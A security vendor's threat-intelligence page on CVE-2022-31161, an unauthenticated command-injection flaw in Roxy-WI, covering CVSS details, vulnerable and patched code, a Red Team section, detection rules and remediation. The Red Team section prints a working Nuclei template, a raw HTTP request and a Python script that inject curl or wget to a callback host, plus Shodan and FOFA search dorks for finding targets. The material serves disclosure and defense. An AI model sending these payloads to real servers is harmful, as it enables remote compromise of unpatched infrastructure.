CVE-2022-31161
Executive Summary
CVE-2022-31161 is a critical unauthenticated remote code execution (RCE) vulnerability in Roxy-WI, a web interface for managing HAProxy, Nginx, and Keepalived servers. The flaw resides in the /app/options.py file, where the delcert parameter is passed directly to a system command without proper sanitization. An attacker can inject arbitrary OS commands by crafting a malicious POST request, leading to full server compromise. The vulnerability affects all versions prior to 6.1.1.0 and has a CVSS score of 9.8 (Critical). Public proof-of-concept (PoC) exploits and a Nuclei template are available, making this a high-priority threat for any organization using Roxy-WI.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Roxy-WI is a Python-based application distributed via GitHub. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application's own code. However, organizations using Roxy-WI should treat this as a supply chain risk, as the application is a management interface for critical infrastructure components (HAProxy, Nginx, Keepalived). Compromise of Roxy-WI could lead to lateral movement and compromise of these managed services.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – Full read access to the system.
- Integrity Impact: High (I:H) – Full write access to the system.
- Availability Impact: High (A:H) – Full control over system availability.
Threat Level: Critical. The combination of network exploitability, no authentication, and full impact makes this a top-priority vulnerability.
Deep Dive & Mechanics
The vulnerability is a classic OS command injection (CWE-78) in the /app/options.py file. The delcert parameter is used to specify a certificate to delete. The application passes this parameter directly to a system command via the subprocess_execute function without any input validation or sanitization.
Vulnerable Code Path:
- The user sends a POST request to
/app/options.pywith thedelcertparameter. - The application extracts the value of
delcertand passes it tosubprocess_execute. subprocess_executeconstructs a shell command likerm -f <delcert_value>.- Because the input is not sanitized, an attacker can inject command separators (e.g.,
;,&,|) to execute arbitrary commands.
Example Injection:
- Input:
a%20&%20curl%20{{interactsh-url}}; - The shell interprets this as:
rm -f a & curl <attacker-controlled-url> ; - This executes the
curlcommand to exfiltrate data or establish a reverse shell.
The vulnerability is unauthenticated, meaning any attacker who can reach the Roxy-WI web interface can exploit it.
Vulnerable vs. Patched Code
Vulnerable Code (pre-6.1.1.0):
# /app/options.py (simplified)
def delete_cert(delcert):
command = "rm -f " + delcert
subprocess_execute(command)
Patched Code (6.1.1.0):
# /app/options.py (simplified)
import shlex
def delete_cert(delcert):
# Sanitize input: only allow alphanumeric and specific safe characters
safe_delcert = shlex.quote(delcert)
command = "rm -f " + safe_delcert
subprocess_execute(command)
The patch uses shlex.quote() to escape shell metacharacters, preventing command injection. Additionally, the patch may include input validation to ensure the delcert parameter matches an expected pattern (e.g., a filename without path separators).
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Target running Roxy-WI < 6.1.1.0
- Network access to the Roxy-WI web interface (typically port 443 or 80)
- An interactsh or other callback server to receive outbound connections
Exploit Steps:
Identify Target: Use Shodan or FOFA with the dork
html:"Roxy-WI"orbody="roxy-wi".Craft Payload: The payload is a POST request to
/app/options.pywith thedelcertparameter containing command injection.Execute Exploit: Use the provided Nuclei template or a manual request.
Nuclei Template (from Hacker Arsenal):
id: CVE-2022-31161
info:
name: Roxy-WI - Remote Code Execution
author: ritikchaddha
severity: critical
description: |
Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the delcert parameter without proper input validation in the /app/options.py file, allowing attackers to inject arbitrary OS commands.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Users are advised to upgrade to latest version.
reference:
- https://pentest.blog/advisory-roxy-wi-unauthenticated-remote-code-executions-cve-2022-31137/
- https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-pg3w-8p63-x483
- https://nvd.nist.gov/vuln/detail/CVE-2022-31161
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-31161
cwe-id: CWE-78
epss-score: 0.73007
epss-percentile: 0.98796
cpe: cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: roxy-wi
product: roxy-wi
shodan-query: html:"Roxy-WI"
fofa-query: body="roxy-wi"
tags: cve2022,cve,rce,roxy,roxy-wi,vkev,vuln
http:
- raw:
- |
POST /app/options.py HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20curl%20{{interactsh-url}};
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: curl"
- type: status
status:
- 200
Exploit-DB Code (from Hacker Arsenal):
POST /app/options.py HTTP/1.1
Host: 192.168.56.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 123
Origin: https://192.168.56.116
Referer: https://192.168.56.116/app/login.py
Connection: close
show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20wget%20<id>.oastify.com;
Usage:
- Replace
<id>.oastify.comwith your own interactsh or Burp Collaborator domain. - Send the request using
curl, Burp Suite, or a Python script. - Monitor your callback server for the HTTP request from the target.
Python Exploit Script:
import requests
target = "https://192.168.56.116"
callback = "http://your-interactsh-domain"
payload = f"show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20curl%20{callback};"
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}
response = requests.post(f"{target}/app/options.py", data=payload, headers=headers, verify=False)
print(response.status_code)
Blue Team (Defender)
Detection:
- Monitor for POST requests to
/app/options.pywith unusualdelcertparameters (e.g., containing&,|,;, or command keywords likecurl,wget,bash). - Look for outbound connections from the Roxy-WI server to unknown IPs/domains (callback indicators).
- Check for unexpected processes spawned by the web server user (e.g.,
curl,wget,bash).
Hunting:
- Search web server logs for requests to
/app/options.pywith adelcertparameter that is not a simple filename. - Use the Sigma rule below to detect exploitation attempts.
Containment:
- Immediately isolate the affected Roxy-WI server from the network.
- Review the server for signs of compromise (new users, cron jobs, modified files).
- Apply the patch by upgrading to version 6.1.1.0 or later.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/app/options.pywithdelcertparameter containing shell metacharacters (;,&,|,`). - Outbound connections to unknown IPs/domains on ports 80, 443, or 53 (DNS exfiltration).
- HTTP requests with
User-Agent: curlorUser-Agent: wgetfrom the Roxy-WI server.
- POST requests to
File System IOCs:
- Unexpected files in
/tmp/or/var/tmp/(e.g.,rce.sh,payload). - Modified or new cron jobs in
/etc/cron.d/or/var/spool/cron/. - New SSH authorized keys in
/root/.ssh/authorized_keysor/home/*/.ssh/authorized_keys.
- Unexpected files in
Process IOCs:
- Processes named
curl,wget,bash,pythonspawned by the web server user (e.g.,www-data).
- Processes named
Detection Engineering
YARA Rule
rule CVE_2022_31161_Roxy_WI_RCE {
meta:
description = "Detects exploitation attempts of CVE-2022-31161 in Roxy-WI"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-31161"
hash = "490a004630440220588975bc7331b24c5c26b70ae0ca2c8f931c5716b58208ba2403490af91e681e0220099d54e5afc6f2113bdcae822d69dcecb6a5deea35baf1be8f16d2b926450827"
strings:
$s1 = "delcert=" ascii wide nocase
$s2 = "curl" ascii wide nocase
$s3 = "wget" ascii wide nocase
$s4 = "bash" ascii wide nocase
$s5 = "|" ascii wide
$s6 = "&" ascii wide
$s7 = ";" ascii wide
condition:
$s1 and any of ($s2, $s3, $s4) and any of ($s5, $s6, $s7)
}
Sigma Rule
title: CVE-2022-31161 Roxy-WI RCE Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /app/options.py with command injection in the delcert parameter
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2022-31161
- https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-pg3w-8p63-x483
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: POST
cs-uri-stem: /app/options.py
cs-uri-query|contains:
- "delcert="
- "curl"
- "wget"
- "bash"
- "|"
- "&"
- ";"
condition: selection
falsepositives:
- Legitimate use of curl/wget in delcert (unlikely)
level: critical
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2022-31161 Roxy-WI RCE Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/app/options.py";
http_uri;
content:"delcert=";
http_client_body;
pcre:"/(curl|wget|bash|\||\&|;)/Ri";
reference:cve,2022-31161;
reference:url,https://nvd.nist.gov/vuln/detail/CVE-2022-31161;
classtype:attempted-admin;
sid:1000001;
rev:1;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Roxy-WI to version 6.1.1.0 or later. This is the only complete fix.
- Isolate: If immediate upgrade is not possible, isolate the Roxy-WI server from untrusted networks (e.g., place it behind a VPN or firewall with strict access controls).
- Monitor: Enable detailed logging and monitor for exploitation attempts using the provided detection rules.
Long-Term Mitigations:
- Implement a Web Application Firewall (WAF) with rules to block command injection patterns in POST parameters.
- Apply the principle of least privilege to the Roxy-WI service account.
- Regularly audit and update all web-facing applications.
- Conduct penetration testing to identify similar vulnerabilities.
Patch Details:
- The patch is available in the official GitHub repository: https://github.com/roxy-wi/roxy-wi
- Upgrade command:
git pull && pip install -r requirements.txt(or follow the project's upgrade instructions).
Valters IT
DevSecOps & Cyber Threat Intelligence
{/* [Security Hash: 4815C790346CBECEF4B1B706] */}